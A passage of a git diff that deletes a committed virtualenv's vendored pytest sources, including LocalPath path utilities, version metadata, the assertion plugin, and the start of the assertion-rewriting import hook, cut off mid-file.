"""Return an opened file with the given mode. - - If ensure is True, create parent directories if needed. - """ - if ensure: - self.dirpath().ensure(dir=1) - if encoding: - return error.checked_call( - io.open, - self.strpath, - mode, - encoding=encoding, - ) - return error.checked_call(open, self.strpath, mode) - - def _fastjoin(self, name): - child = object.__new__(self.__class__) - child.strpath = self.strpath + self.sep + name - return child - - def islink(self): - return islink(self.strpath) - - def check(self, **kw): - """Check a path for existence and properties. - - Without arguments, return True if the path exists, otherwise False. - - valid checkers:: - - file = 1 # is a file - file = 0 # is not a file (may not even exist) - dir = 1 # is a dir - link = 1 # is a link - exists = 1 # exists - - You can specify multiple checker definitions, for example:: - - path.check(file=1, link=1) # a link pointing to a file - """ - if not kw: - return exists(self.strpath) - if len(kw) == 1: - if "dir" in kw: - return not kw["dir"] ^ isdir(self.strpath) - if "file" in kw: - return not kw["file"] ^ isfile(self.strpath) - if not kw: - kw = {"exists": 1} - return Checkers(self)._evaluate(kw) - - _patternchars = set("*?[" + os.sep) - - def listdir(self, fil=None, sort=None): - """List directory contents, possibly filter by the given fil func - and possibly sorted. - """ - if fil is None and sort is None: - names = error.checked_call(os.listdir, self.strpath) - return map_as_list(self._fastjoin, names) - if isinstance(fil, str): - if not self._patternchars.intersection(fil): - child = self._fastjoin(fil) - if exists(child.strpath): - return [child] - return [] - fil = FNMatcher(fil) - names = error.checked_call(os.listdir, self.strpath) - res = [] - for name in names: - child = self._fastjoin(name) - if fil is None or fil(child): - res.append(child) - self._sortlist(res, sort) - return res - - def size(self) -> int: - """Return size of the underlying file object""" - return self.stat().size - - def mtime(self) -> float: - """Return last modification time of the path.""" - return self.stat().mtime - - def copy(self, target, mode=False, stat=False): - """Copy path to target. - - If mode is True, will copy permission from path to target. - If stat is True, copy permission, last modification - time, last access time, and flags from path to target. - """ - if self.check(file=1): - if target.check(dir=1): - target = target.join(self.basename) - assert self != target - copychunked(self, target) - if mode: - copymode(self.strpath, target.strpath) - if stat: - copystat(self, target) - else: - - def rec(p): - return p.check(link=0) - - for x in self.visit(rec=rec): - relpath = x.relto(self) - newx = target.join(relpath) - newx.dirpath().ensure(dir=1) - if x.check(link=1): - newx.mksymlinkto(x.readlink()) - continue - elif x.check(file=1): - copychunked(x, newx) - elif x.check(dir=1): - newx.ensure(dir=1) - if mode: - copymode(x.strpath, newx.strpath) - if stat: - copystat(x, newx) - - def rename(self, target): - """Rename this path to target.""" - target = os.fspath(target) - return error.checked_call(os.rename, self.strpath, target) - - def dump(self, obj, bin=1): - """Pickle object into path location""" - f = self.open("wb") - import pickle - - try: - error.checked_call(pickle.dump, obj, f, bin) - finally: - f.close() - - def mkdir(self, *args): - """Create & return the directory joined with args.""" - p = self.join(*args) - error.checked_call(os.mkdir, os.fspath(p)) - return p - - def write_binary(self, data, ensure=False): - """Write binary data into path. If ensure is True create - missing parent directories. - """ - if ensure: - self.dirpath().ensure(dir=1) - with self.open("wb") as f: - f.write(data) - - def write_text(self, data, encoding, ensure=False): - """Write text data into path using the specified encoding. - If ensure is True create missing parent directories. - """ - if ensure: - self.dirpath().ensure(dir=1) - with self.open("w", encoding=encoding) as f: - f.write(data) - - def write(self, data, mode="w", ensure=False): - """Write data into path. If ensure is True create - missing parent directories. - """ - if ensure: - self.dirpath().ensure(dir=1) - if "b" in mode: - if not isinstance(data, bytes): - raise ValueError("can only process bytes") - else: - if not isinstance(data, str): - if not isinstance(data, bytes): - data = str(data) - else: - data = data.decode(sys.getdefaultencoding()) - f = self.open(mode) - try: - f.write(data) - finally: - f.close() - - def _ensuredirs(self): - parent = self.dirpath() - if parent == self: - return self - if parent.check(dir=0): - parent._ensuredirs() - if self.check(dir=0): - try: - self.mkdir() - except error.EEXIST: - # race condition: file/dir created by another thread/process. - # complain if it is not a dir - if self.check(dir=0): - raise - return self - - def ensure(self, *args, **kwargs): - """Ensure that an args-joined path exists (by default as - a file). if you specify a keyword argument 'dir=True' - then the path is forced to be a directory path. - """ - p = self.join(*args) - if kwargs.get("dir", 0): - return p._ensuredirs() - else: - p.dirpath()._ensuredirs() - if not p.check(file=1): - p.open("wb").close() - return p - - @overload - def stat(self, raising: Literal[True] = ...) -> Stat: ... - - @overload - def stat(self, raising: Literal[False]) -> Stat | None: ... - - def stat(self, raising: bool = True) -> Stat | None: - """Return an os.stat() tuple.""" - if raising: - return Stat(self, error.checked_call(os.stat, self.strpath)) - try: - return Stat(self, os.stat(self.strpath)) - except KeyboardInterrupt: - raise - except Exception: - return None - - def lstat(self) -> Stat: - """Return an os.lstat() tuple.""" - return Stat(self, error.checked_call(os.lstat, self.strpath)) - - def setmtime(self, mtime=None): - """Set modification time for the given path. if 'mtime' is None - (the default) then the file's mtime is set to current time. - - Note that the resolution for 'mtime' is platform dependent. - """ - if mtime is None: - return error.checked_call(os.utime, self.strpath, mtime) - try: - return error.checked_call(os.utime, self.strpath, (-1, mtime)) - except error.EINVAL: - return error.checked_call(os.utime, self.strpath, (self.atime(), mtime)) - - def chdir(self): - """Change directory to self and return old current directory""" - try: - old = self.__class__() - except error.ENOENT: - old = None - error.checked_call(os.chdir, self.strpath) - return old - - @contextmanager - def as_cwd(self): - """ - Return a context manager, which changes to the path's dir during the - managed "with" context. - On __enter__ it returns the old dir, which might be ``None``. - """ - old = self.chdir() - try: - yield old - finally: - if old is not None: - old.chdir() - - def realpath(self): - """Return a new path which contains no symbolic links.""" - return self.__class__(os.path.realpath(self.strpath)) - - def atime(self): - """Return last access time of the path.""" - return self.stat().atime - - def __repr__(self): - return f"local({self.strpath!r})" - - def __str__(self): - """Return string representation of the Path.""" - return self.strpath - - def chmod(self, mode, rec=0): - """Change permissions to the given mode. If mode is an - integer it directly encodes the os-specific modes. - if rec is True perform recursively. - """ - if not isinstance(mode, int): - raise TypeError(f"mode {mode!r} must be an integer") - if rec: - for x in self.visit(rec=rec): - error.checked_call(os.chmod, str(x), mode) - error.checked_call(os.chmod, self.strpath, mode) - - def pypkgpath(self): - """Return the Python package path by looking for the last - directory upwards which still contains an __init__.py. - Return None if a pkgpath cannot be determined. - """ - pkgpath = None - for parent in self.parts(reverse=True): - if parent.isdir(): - if not parent.join("__init__.py").exists(): - break - if not isimportable(parent.basename): - break - pkgpath = parent - return pkgpath - - def _ensuresyspath(self, ensuremode, path): - if ensuremode: - s = str(path) - if ensuremode == "append": - if s not in sys.path: - sys.path.append(s) - else: - if s != sys.path[0]: - sys.path.insert(0, s) - - def pyimport(self, modname=None, ensuresyspath=True): - """Return path as an imported python module. - - If modname is None, look for the containing package - and construct an according module name. - The module will be put/looked up in sys.modules. - if ensuresyspath is True then the root dir for importing - the file (taking __init__.py files into account) will - be prepended to sys.path if it isn't there already. - If ensuresyspath=="append" the root dir will be appended - if it isn't already contained in sys.path. - if ensuresyspath is False no modification of syspath happens. - - Special value of ensuresyspath=="importlib" is intended - purely for using in pytest, it is capable only of importing - separate .py files outside packages, e.g. for test suite - without any __init__.py file. It effectively allows having - same-named test modules in different places and offers - mild opt-in via this option. Note that it works only in - recent versions of python. - """ - if not self.check(): - raise error.ENOENT(self) - - if ensuresyspath == "importlib": - if modname is None: - modname = self.purebasename - spec = importlib.util.spec_from_file_location(modname, str(self)) - if spec is None or spec.loader is None: - raise ImportError(f"Can't find module {modname} at location {self!s}") - mod = importlib.util.module_from_spec(spec) - spec.loader.exec_module(mod) - return mod - - pkgpath = None - if modname is None: - pkgpath = self.pypkgpath() - if pkgpath is not None: - pkgroot = pkgpath.dirpath() - names = self.new(ext="").relto(pkgroot).split(self.sep) - if names[-1] == "__init__": - names.pop() - modname = ".".join(names) - else: - pkgroot = self.dirpath() - modname = self.purebasename - - self._ensuresyspath(ensuresyspath, pkgroot) - __import__(modname) - mod = sys.modules[modname] - if self.basename == "__init__.py": - return mod # we don't check anything as we might - # be in a namespace package ... too icky to check - modfile = mod.__file__ - assert modfile is not None - if modfile[-4:] in (".pyc", ".pyo"): - modfile = modfile[:-1] - elif modfile.endswith("$py.class"): - modfile = modfile[:-9] + ".py" - if modfile.endswith(os.sep + "__init__.py"): - if self.basename != "__init__.py": - modfile = modfile[:-12] - try: - issame = self.samefile(modfile) - except error.ENOENT: - issame = False - if not issame: - ignore = os.getenv("PY_IGNORE_IMPORTMISMATCH") - if ignore != "1": - raise self.ImportMismatchError(modname, modfile, self) - return mod - else: - try: - return sys.modules[modname] - except KeyError: - # we have a custom modname, do a pseudo-import - import types - - mod = types.ModuleType(modname) - mod.__file__ = str(self) - sys.modules[modname] = mod - try: - with open(str(self), "rb") as f: - exec(f.read(), mod.__dict__) - except BaseException: - del sys.modules[modname] - raise - return mod - - def sysexec(self, *argv: os.PathLike[str], **popen_opts: Any) -> str: - """Return stdout text from executing a system child process, - where the 'self' path points to executable. - The process is directly invoked and not through a system shell. - """ - from subprocess import PIPE - from subprocess import Popen - - popen_opts.pop("stdout", None) - popen_opts.pop("stderr", None) - proc = Popen( - [str(self)] + [str(arg) for arg in argv], - **popen_opts, - stdout=PIPE, - stderr=PIPE, - ) - stdout: str | bytes - stdout, stderr = proc.communicate() - ret = proc.wait() - if isinstance(stdout, bytes): - stdout = stdout.decode(sys.getdefaultencoding()) - if ret != 0: - if isinstance(stderr, bytes): - stderr = stderr.decode(sys.getdefaultencoding()) - raise RuntimeError( - ret, - ret, - str(self), - stdout, - stderr, - ) - return stdout - - @classmethod - def sysfind(cls, name, checker=None, paths=None): - """Return a path object found by looking at the systems - underlying PATH specification. If the checker is not None - it will be invoked to filter matching paths. If a binary - cannot be found, None is returned - Note: This is probably not working on plain win32 systems - but may work on cygwin. - """ - if isabs(name): - p = local(name) - if p.check(file=1): - return p - else: - if paths is None: - if iswin32: - paths = os.environ["Path"].split(";") - if "" not in paths and "." not in paths: - paths.append(".") - try: - systemroot = os.environ["SYSTEMROOT"] - except KeyError: - pass - else: - paths = [ - path.replace("%SystemRoot%", systemroot) for path in paths - ] - else: - paths = os.environ["PATH"].split(":") - tryadd = [] - if iswin32: - tryadd += os.environ["PATHEXT"].split(os.pathsep) - tryadd.append("") - - for x in paths: - for addext in tryadd: - p = local(x).join(name, abs=True) + addext - try: - if p.check(file=1): - if checker: - if not checker(p): - continue - return p - except error.EACCES: - pass - return None - - @classmethod - def _gethomedir(cls): - try: - x = os.environ["HOME"] - except KeyError: - try: - x = os.environ["HOMEDRIVE"] + os.environ["HOMEPATH"] - except KeyError: - return None - return cls(x) - - # """ - # special class constructors for local filesystem paths - # """ - @classmethod - def get_temproot(cls): - """Return the system's temporary directory - (where tempfiles are usually created in) - """ - import tempfile - - return local(tempfile.gettempdir()) - - @classmethod - def mkdtemp(cls, rootdir=None): - """Return a Path object pointing to a fresh new temporary directory - (which we created ourselves). - """ - import tempfile - - if rootdir is None: - rootdir = cls.get_temproot() - path = error.checked_call(tempfile.mkdtemp, dir=str(rootdir)) - return cls(path) - - @classmethod - def make_numbered_dir( - cls, prefix="session-", rootdir=None, keep=3, lock_timeout=172800 - ): # two days - """Return unique directory with a number greater than the current - maximum one. The number is assumed to start directly after prefix. - if keep is true directories with a number less than (maxnum-keep) - will be removed. If .lock files are used (lock_timeout non-zero), - algorithm is multi-process safe. - """ - if rootdir is None: - rootdir = cls.get_temproot() - - nprefix = prefix.lower() - - def parse_num(path): - """Parse the number out of a path (if it matches the prefix)""" - nbasename = path.basename.lower() - if nbasename.startswith(nprefix): - try: - return int(nbasename[len(nprefix) :]) - except ValueError: - pass - - def create_lockfile(path): - """Exclusively create lockfile. Throws when failed""" - mypid = os.getpid() - lockfile = path.join(".lock") - if hasattr(lockfile, "mksymlinkto"): - lockfile.mksymlinkto(str(mypid)) - else: - fd = error.checked_call( - os.open, str(lockfile), os.O_WRONLY | os.O_CREAT | os.O_EXCL, 0o644 - ) - with os.fdopen(fd, "w") as f: - f.write(str(mypid)) - return lockfile - - def atexit_remove_lockfile(lockfile): - """Ensure lockfile is removed at process exit""" - mypid = os.getpid() - - def try_remove_lockfile(): - # in a fork() situation, only the last process should - # remove the .lock, otherwise the other processes run the - # risk of seeing their temporary dir disappear. For now - # we remove the .lock in the parent only (i.e. we assume - # that the children finish before the parent). - if os.getpid() != mypid: - return - try: - lockfile.remove() - except error.Error: - pass - - atexit.register(try_remove_lockfile) - - # compute the maximum number currently in use with the prefix - lastmax = None - while True: - maxnum = -1 - for path in rootdir.listdir(): - num = parse_num(path) - if num is not None: - maxnum = max(maxnum, num) - - # make the new directory - try: - udir = rootdir.mkdir(prefix + str(maxnum + 1)) - if lock_timeout: - lockfile = create_lockfile(udir) - atexit_remove_lockfile(lockfile) - except (error.EEXIST, error.ENOENT, error.EBUSY): - # race condition (1): another thread/process created the dir - # in the meantime - try again - # race condition (2): another thread/process spuriously acquired - # lock treating empty directory as candidate - # for removal - try again - # race condition (3): another thread/process tried to create the lock at - # the same time (happened in Python 3.3 on Windows) - # https://ci.appveyor.com/project/pytestbot/py/build/1.0.21/job/ffi85j4c0lqwsfwa - if lastmax == maxnum: - raise - lastmax = maxnum - continue - break - - def get_mtime(path): - """Read file modification time""" - try: - return path.lstat().mtime - except error.Error: - pass - - garbage_prefix = prefix + "garbage-" - - def is_garbage(path): - """Check if path denotes directory scheduled for removal""" - bn = path.basename - return bn.startswith(garbage_prefix) - - # prune old directories - udir_time = get_mtime(udir) - if keep and udir_time: - for path in rootdir.listdir(): - num = parse_num(path) - if num is not None and num <= (maxnum - keep): - try: - # try acquiring lock to remove directory as exclusive user - if lock_timeout: - create_lockfile(path) - except (error.EEXIST, error.ENOENT, error.EBUSY): - path_time = get_mtime(path) - if not path_time: - # assume directory doesn't exist now - continue - if abs(udir_time - path_time) < lock_timeout: - # assume directory with lockfile exists - # and lock timeout hasn't expired yet - continue - - # path dir locked for exclusive use - # and scheduled for removal to avoid another thread/process - # treating it as a new directory or removal candidate - garbage_path = rootdir.join(garbage_prefix + str(uuid.uuid4())) - try: - path.rename(garbage_path) - garbage_path.remove(rec=1) - except KeyboardInterrupt: - raise - except Exception: # this might be error.Error, WindowsError ... - pass - if is_garbage(path): - try: - path.remove(rec=1) - except KeyboardInterrupt: - raise - except Exception: # this might be error.Error, WindowsError ... - pass - - # make link... - try: - username = os.environ["USER"] # linux, et al - except KeyError: - try: - username = os.environ["USERNAME"] # windows - except KeyError: - username = "current" - - src = str(udir) - dest = src[: src.rfind("-")] + "-" + username - try: - os.unlink(dest) - except OSError: - pass - try: - os.symlink(src, dest) - except (OSError, AttributeError, NotImplementedError): - pass - - return udir - - -def copymode(src, dest): - """Copy permission from src to dst.""" - import shutil - - shutil.copymode(src, dest) - - -def copystat(src, dest): - """Copy permission, last modification time, - last access time, and flags from src to dst.""" - import shutil - - shutil.copystat(str(src), str(dest)) - - -def copychunked(src, dest): - chunksize = 524288 # half a meg of bytes - fsrc = src.open("rb") - try: - fdest = dest.open("wb") - try: - while 1: - buf = fsrc.read(chunksize) - if not buf: - break - fdest.write(buf) - finally: - fdest.close() - finally: - fsrc.close() - - -def isimportable(name): - if name and (name[0].isalpha() or name[0] == "_"): - name = name.replace("_", "") - return not name or name.isalnum() - - -local = LocalPath diff --git a/backend/venv/Lib/site-packages/_pytest/_version.py b/backend/venv/Lib/site-packages/_pytest/_version.py deleted file mode 100644 index b14b35f2..00000000 --- a/backend/venv/Lib/site-packages/_pytest/_version.py +++ /dev/null @@ -1,16 +0,0 @@ -# file generated by setuptools_scm -# don't change, don't track in version control -TYPE_CHECKING = False -if TYPE_CHECKING: - from typing import Tuple, Union - VERSION_TUPLE = Tuple[Union[int, str], ...] -else: - VERSION_TUPLE = object - -version: str -__version__: str -__version_tuple__: VERSION_TUPLE -version_tuple: VERSION_TUPLE - -__version__ = version = '8.3.2' -__version_tuple__ = version_tuple = (8, 3, 2) diff --git a/backend/venv/Lib/site-packages/_pytest/assertion/__init__.py b/backend/venv/Lib/site-packages/_pytest/assertion/__init__.py deleted file mode 100644 index f2f1d029..00000000 --- a/backend/venv/Lib/site-packages/_pytest/assertion/__init__.py +++ /dev/null @@ -1,192 +0,0 @@ -# mypy: allow-untyped-defs -"""Support for presenting detailed information in failing assertions.""" - -from __future__ import annotations - -import sys -from typing import Any -from typing import Generator -from typing import TYPE_CHECKING - -from _pytest.assertion import rewrite -from _pytest.assertion import truncate -from _pytest.assertion import util -from _pytest.assertion.rewrite import assertstate_key -from _pytest.config import Config -from _pytest.config import hookimpl -from _pytest.config.argparsing import Parser -from _pytest.nodes import Item - - -if TYPE_CHECKING: - from _pytest.main import Session - - -def pytest_addoption(parser: Parser) -> None: - group = parser.getgroup("debugconfig") - group.addoption( - "--assert", - action="store", - dest="assertmode", - choices=("rewrite", "plain"), - default="rewrite", - metavar="MODE", - help=( - "Control assertion debugging tools.\n" - "'plain' performs no assertion debugging.\n" - "'rewrite' (the default) rewrites assert statements in test modules" - " on import to provide assert expression information." - ), - ) - parser.addini( - "enable_assertion_pass_hook", - type="bool", - default=False, - help="Enables the pytest_assertion_pass hook. " - "Make sure to delete any previously generated pyc cache files.", - ) - Config._add_verbosity_ini( - parser, - Config.VERBOSITY_ASSERTIONS, - help=( - "Specify a verbosity level for assertions, overriding the main level. " - "Higher levels will provide more detailed explanation when an assertion fails." - ), - ) - - -def register_assert_rewrite(*names: str) -> None: - """Register one or more module names to be rewritten on import. - - This function will make sure that this module or all modules inside - the package will get their assert statements rewritten. - Thus you should make sure to call this before the module is - actually imported, usually in your __init__.py if you are a plugin - using a package. - - :param names: The module names to register. - """ - for name in names: - if not isinstance(name, str): - msg = "expected module names as *args, got {0} instead" # type: ignore[unreachable] - raise TypeError(msg.format(repr(names))) - for hook in sys.meta_path: - if isinstance(hook, rewrite.AssertionRewritingHook): - importhook = hook - break - else: - # TODO(typing): Add a protocol for mark_rewrite() and use it - # for importhook and for PytestPluginManager.rewrite_hook. - importhook = DummyRewriteHook() # type: ignore - importhook.mark_rewrite(*names) - - -class DummyRewriteHook: - """A no-op import hook for when rewriting is disabled.""" - - def mark_rewrite(self, *names: str) -> None: - pass - - -class AssertionState: - """State for the assertion plugin.""" - - def __init__(self, config: Config, mode) -> None: - self.mode = mode - self.trace = config.trace.root.get("assertion") - self.hook: rewrite.AssertionRewritingHook | None = None - - -def install_importhook(config: Config) -> rewrite.AssertionRewritingHook: - """Try to install the rewrite hook, raise SystemError if it fails.""" - config.stash[assertstate_key] = AssertionState(config, "rewrite") - config.stash[assertstate_key].hook = hook = rewrite.AssertionRewritingHook(config) - sys.meta_path.insert(0, hook) - config.stash[assertstate_key].trace("installed rewrite import hook") - - def undo() -> None: - hook = config.stash[assertstate_key].hook - if hook is not None and hook in sys.meta_path: - sys.meta_path.remove(hook) - - config.add_cleanup(undo) - return hook - - -def pytest_collection(session: Session) -> None: - # This hook is only called when test modules are collected - # so for example not in the managing process of pytest-xdist - # (which does not collect test modules). - assertstate = session.config.stash.get(assertstate_key, None) - if assertstate: - if assertstate.hook is not None: - assertstate.hook.set_session(session) - - -@hookimpl(wrapper=True, tryfirst=True) -def pytest_runtest_protocol(item: Item) -> Generator[None, object, object]: - """Setup the pytest_assertrepr_compare and pytest_assertion_pass hooks. - - The rewrite module will use util._reprcompare if it exists to use custom - reporting via the pytest_assertrepr_compare hook. This sets up this custom - comparison for the test. - """ - ihook = item.ihook - - def callbinrepr(op, left: object, right: object) -> str | None: - """Call the pytest_assertrepr_compare hook and prepare the result. - - This uses the first result from the hook and then ensures the - following: - * Overly verbose explanations are truncated unless configured otherwise - (eg. if running in verbose mode). - * Embedded newlines are escaped to help util.format_explanation() - later. - * If the rewrite mode is used embedded %-characters are replaced - to protect later % formatting. - - The result can be formatted by util.format_explanation() for - pretty printing. - """ - hook_result = ihook.pytest_assertrepr_compare( - config=item.config, op=op, left=left, right=right - ) - for new_expl in hook_result: - if new_expl: - new_expl = truncate.truncate_if_required(new_expl, item) - new_expl = [line.replace("\n", "\\n") for line in new_expl] - res = "\n~".join(new_expl) - if item.config.getvalue("assertmode") == "rewrite": - res = res.replace("%", "%%") - return res - return None - - saved_assert_hooks = util._reprcompare, util._assertion_pass - util._reprcompare = callbinrepr - util._config = item.config - - if ihook.pytest_assertion_pass.get_hookimpls(): - - def call_assertion_pass_hook(lineno: int, orig: str, expl: str) -> None: - ihook.pytest_assertion_pass(item=item, lineno=lineno, orig=orig, expl=expl) - - util._assertion_pass = call_assertion_pass_hook - - try: - return (yield) - finally: - util._reprcompare, util._assertion_pass = saved_assert_hooks - util._config = None - - -def pytest_sessionfinish(session: Session) -> None: - assertstate = session.config.stash.get(assertstate_key, None) - if assertstate: - if assertstate.hook is not None: - assertstate.hook.set_session(None) - - -def pytest_assertrepr_compare( - config: Config, op: str, left: Any, right: Any -) -> list[str] | None: - return util.assertrepr_compare(config=config, op=op, left=left, right=right) diff --git a/backend/venv/Lib/site-packages/_pytest/assertion/__pycache__/__init__.cpython-311.pyc b/backend/venv/Lib/site-packages/_pytest/assertion/__pycache__/__init__.cpython-311.pyc deleted file mode 100644 index afc7f206..00000000 Binary files a/backend/venv/Lib/site-packages/_pytest/assertion/__pycache__/__init__.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/_pytest/assertion/__pycache__/rewrite.cpython-311.pyc b/backend/venv/Lib/site-packages/_pytest/assertion/__pycache__/rewrite.cpython-311.pyc deleted file mode 100644 index f81e4592..00000000 Binary files a/backend/venv/Lib/site-packages/_pytest/assertion/__pycache__/rewrite.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/_pytest/assertion/__pycache__/truncate.cpython-311.pyc b/backend/venv/Lib/site-packages/_pytest/assertion/__pycache__/truncate.cpython-311.pyc deleted file mode 100644 index 9d6cec29..00000000 Binary files a/backend/venv/Lib/site-packages/_pytest/assertion/__pycache__/truncate.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/_pytest/assertion/__pycache__/util.cpython-311.pyc b/backend/venv/Lib/site-packages/_pytest/assertion/__pycache__/util.cpython-311.pyc deleted file mode 100644 index ecb6c157..00000000 Binary files a/backend/venv/Lib/site-packages/_pytest/assertion/__pycache__/util.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/_pytest/assertion/rewrite.py b/backend/venv/Lib/site-packages/_pytest/assertion/rewrite.py deleted file mode 100644 index bfcbcbd3..00000000 --- a/backend/venv/Lib/site-packages/_pytest/assertion/rewrite.py +++ /dev/null @@ -1,1194 +0,0 @@ -"""Rewrite assertion AST to produce nice error messages.""" - -from __future__ import annotations - -import ast -from collections import defaultdict -import errno -import functools -import importlib.abc -import importlib.machinery -import importlib.util -import io -import itertools -import marshal -import os -from pathlib import Path -from pathlib import PurePath -import struct -import sys -import tokenize -import types -from typing import Callable -from typing import IO -from typing import Iterable -from typing import Iterator -from typing import Sequence -from typing import TYPE_CHECKING - -from _pytest._io.saferepr import DEFAULT_REPR_MAX_SIZE -from _pytest._io.saferepr import saferepr -from _pytest._version import version -from _pytest.assertion import util -from _pytest.config import Config -from _pytest.main import Session -from _pytest.pathlib import absolutepath -from _pytest.pathlib import fnmatch_ex -from _pytest.stash import StashKey - - -# fmt: off -from _pytest.assertion.util import format_explanation as _format_explanation # noqa:F401, isort:skip -# fmt:on - -if TYPE_CHECKING: - from _pytest.assertion import AssertionState - - -class Sentinel: - pass - - -assertstate_key = StashKey["AssertionState"]() - -# pytest caches rewritten pycs in pycache dirs -PYTEST_TAG = f"{sys.implementation.cache_tag}-pytest-{version}" -PYC_EXT = ".py" + (__debug__ and "c" or "o") -PYC_TAIL = "." + PYTEST_TAG + PYC_EXT - -# Special marker that denotes we have just left a scope definition -_SCOPE_END_MARKER = Sentinel() - - -class AssertionRewritingHook(importlib.abc.MetaPathFinder, importlib.abc.Loader): - """PEP302/PEP451 import hook which rewrites asserts.""" - - def __init__(self, config: Config) -> None: - self.config = config - try: - self.fnpats = config.getini("python_files") - except ValueError: - self.fnpats = ["test_*.py", "*_test.py"] - self.session: Session | None = None - self._rewritten_names: dict[str, Path] = {} - self._must_rewrite: set[str] = set() - # flag to guard against trying to rewrite a pyc file while we are already writing another pyc file, - # which might result in infinite recursion (#3506) - self._writing_pyc = False - self._basenames_to_check_rewrite = {"conftest"} - self._marked_for_rewrite_cache: dict[str, bool] = {} - self._session_paths_checked = False - - def set_session(self, session: Session | None) -> None: - self.session = session - self._session_paths_checked = False - - # Indirection so we can mock calls to find_spec originated from the hook during testing - _find_spec = importlib.machinery.PathFinder.find_spec - - def find_spec( - self, - name: str, - path: Sequence[str | bytes] | None = None, - target: types.ModuleType | None = None, - ) -> importlib.machinery.ModuleSpec | None: - if self._writing_pyc: - return None - state = self.config.stash[assertstate_key] - if self._early_rewrite_bailout(name, state): - return None - state.trace(f"find_module called for: {name}") - - # Type ignored because mypy is confused about the `self` binding here. - spec = self._find_spec(name, path) # type: ignore - if ( - # the import machinery could not find a file to import - spec is None - # this is a namespace package (without `__init__.py`) - # there's nothing to rewrite there - or spec.origin is None - # we can only rewrite source files - or not isinstance(spec.loader, importlib.machinery.SourceFileLoader) - # if the file doesn't exist, we can't rewrite it - or not os.path.exists(spec.origin) - ): - return None - else: - fn = spec.origin - - if not self._should_rewrite(name, fn, state): - return None - - return importlib.util.spec_from_file_location( - name, - fn, - loader=self, - submodule_search_locations=spec.submodule_search_locations, - ) - - def create_module( - self, spec: importlib.machinery.ModuleSpec - ) -> types.ModuleType | None: - return None # default behaviour is fine - - def exec_module(self, module: types.ModuleType) -> None: - assert module.__spec__ is not None - assert module.__spec__.origin is not None - fn = Path(module.__spec__.origin) - state = self.config.stash[assertstate_key] - - self._rewritten_names[module.__name__] = fn - - # The requested module looks like a test file, so rewrite it. This is - # the most magical part of the process: load the source, rewrite the - # asserts, and load the rewritten source. We also cache the rewritten - # module code in a special pyc. We must be aware of the possibility of - # concurrent pytest processes rewriting and loading pycs. To avoid - # tricky race conditions, we maintain the following invariant: The - # cached pyc is always a complete, valid pyc. Operations on it must be - # atomic. POSIX's atomic rename comes in handy. - write = not sys.dont_write_bytecode - cache_dir = get_cache_dir(fn) - if write: - ok = try_makedirs(cache_dir) - if not ok: - write = False - state.trace(f"read only directory: {cache_dir}") - - cache_name = fn.name[:-3] + PYC_TAIL - pyc = cache_dir / cache_name - # Notice that even if we're in a read-only directory, I'm going - # to check for a cached pyc. This may not be optimal... - co = _read_pyc(fn, pyc, state.trace) - if co is None: - state.trace(f"rewriting {fn!r}") - source_stat, co = _rewrite_test(fn, self.config) - if write: - self._writing_pyc = True - try: - _write_pyc(state, co, source_stat, pyc) - finally: - self._writing_pyc = False - else: - state.trace(f"found cached rewritten pyc for {fn}") - exec(co, module.__dict__) - - def _early_rewrite_bailout(self, name: str, state: AssertionState) -> bool: - """A fast way to get out of rewriting modules. - - Profiling has shown that the call to PathFinder.find_spec (inside of - the find_spec from this class) is a major slowdown, so, this method - tries to filter what we're sure won't be rewritten before getting to - it. - """ - if self.session is not None and not self._session_paths_checked: - self._session_paths_checked = True - for initial_path in self.session._initialpaths: - # Make something as c:/projects/my_project/path.py -> - # ['c:', 'projects', 'my_project', 'path.py'] - parts = str(initial_path).split(os.sep) - # add 'path' to basenames to be checked. - self._basenames_to_check_rewrite.add(os.path.splitext(parts[-1])[0]) - - # Note: conftest already by default in _basenames_to_check_rewrite. - parts = name.split(".") - if parts[-1] in self._basenames_to_check_rewrite: - return False - - # For matching the name it must be as if it was a filename. - path = PurePath(*parts).with_suffix(".py") - - for pat in self.fnpats: - # if the pattern contains subdirectories ("tests/**.py" for example) we can't bail out based - # on the name alone because we need to match against the full path - if os.path.dirname(pat): - return False - if fnmatch_ex(pat, path): - return False - - if self._is_marked_for_rewrite(name, state): - return False - - state.trace(f"early skip of rewriting module: {name}") - return True - - def _should_rewrite(self, name: str, fn: str, state: AssertionState) -> bool: - # always rewrite conftest files - if os.path.basename(fn) == "conftest.py": - state.trace(f"rewriting conftest file: {fn!r}") - return True - - if self.session is not None: - if self.session.isinitpath(absolutepath(fn)): - state.trace(f"matched test file (was specified on cmdline): {fn!r}") - return True - - # modules not passed explicitly on the command line are only - # rewritten if they match the naming convention for test files - fn_path = PurePath(fn) - for pat in self.fnpats: - if fnmatch_ex(pat, fn_path): - state.trace(f"matched test file {fn!r}") - return True - - return self._is_marked_for_rewrite(name, state) - - def _is_marked_for_rewrite(self, name: str, state: AssertionState) -> bool: - try: - return self._marked_for_rewrite_cache[name] - except KeyError: - for marked in self._must_rewrite: - if name == marked or name.startswith(marked + "."): - state.trace(f"matched marked file {name!r} (from {marked!r})") - self._marked_for_rewrite_cache[name] = True - return True - - self._marked_for_rewrite_cache[name] = False - return False - - def mark_rewrite(self, *names: str) -> None: - """Mark import names as needing to be rewritten. - - The named module or package as well as any nested modules will - be rewritten on import. - """ - already_imported = ( - set(names).intersection(sys.modules).difference(self._rewritten_names) - ) - for name in already_imported: - mod = sys.modules[name] - if not AssertionRewriter.is_rewrite_disabled( - mod.__doc__ or "" - ) and not isinstance(mod.__loader__, type(self)): - self._warn_already_imported(name) - self._must_rewrite.update(names) - self._marked_for_rewrite_cache.clear() - - def _warn_already_imported(self, name: str) -> None: - from _pytest.warning_types import PytestAssertRewriteWarning - - self.config.issue_config_time_warning( - PytestAssertRewriteWarning( - f"Module already imported so cannot be rewritten: {name}" - ), - stacklevel=5, - ) - - def get_data(self, pathname: str | bytes) -> bytes: - """Optional PEP302 get_data API.""" - with open(pathname, "rb") as f: - return f.read() - - if sys.version_info >= (3, 10): - if sys.version_info >= (3, 12): - from importlib.resources.abc import TraversableResources - else: - from importlib.abc import TraversableResources - - def get_resource_reader(self, name: str) -> TraversableResources: - if sys.version_info < (3, 11): - from importlib.readers import FileReader - else: - from importlib.resources.readers import FileReader - - return FileReader(types.SimpleNamespace(path=self._rewritten_names[name])) - - -def _write_pyc_fp( - fp: IO[bytes], 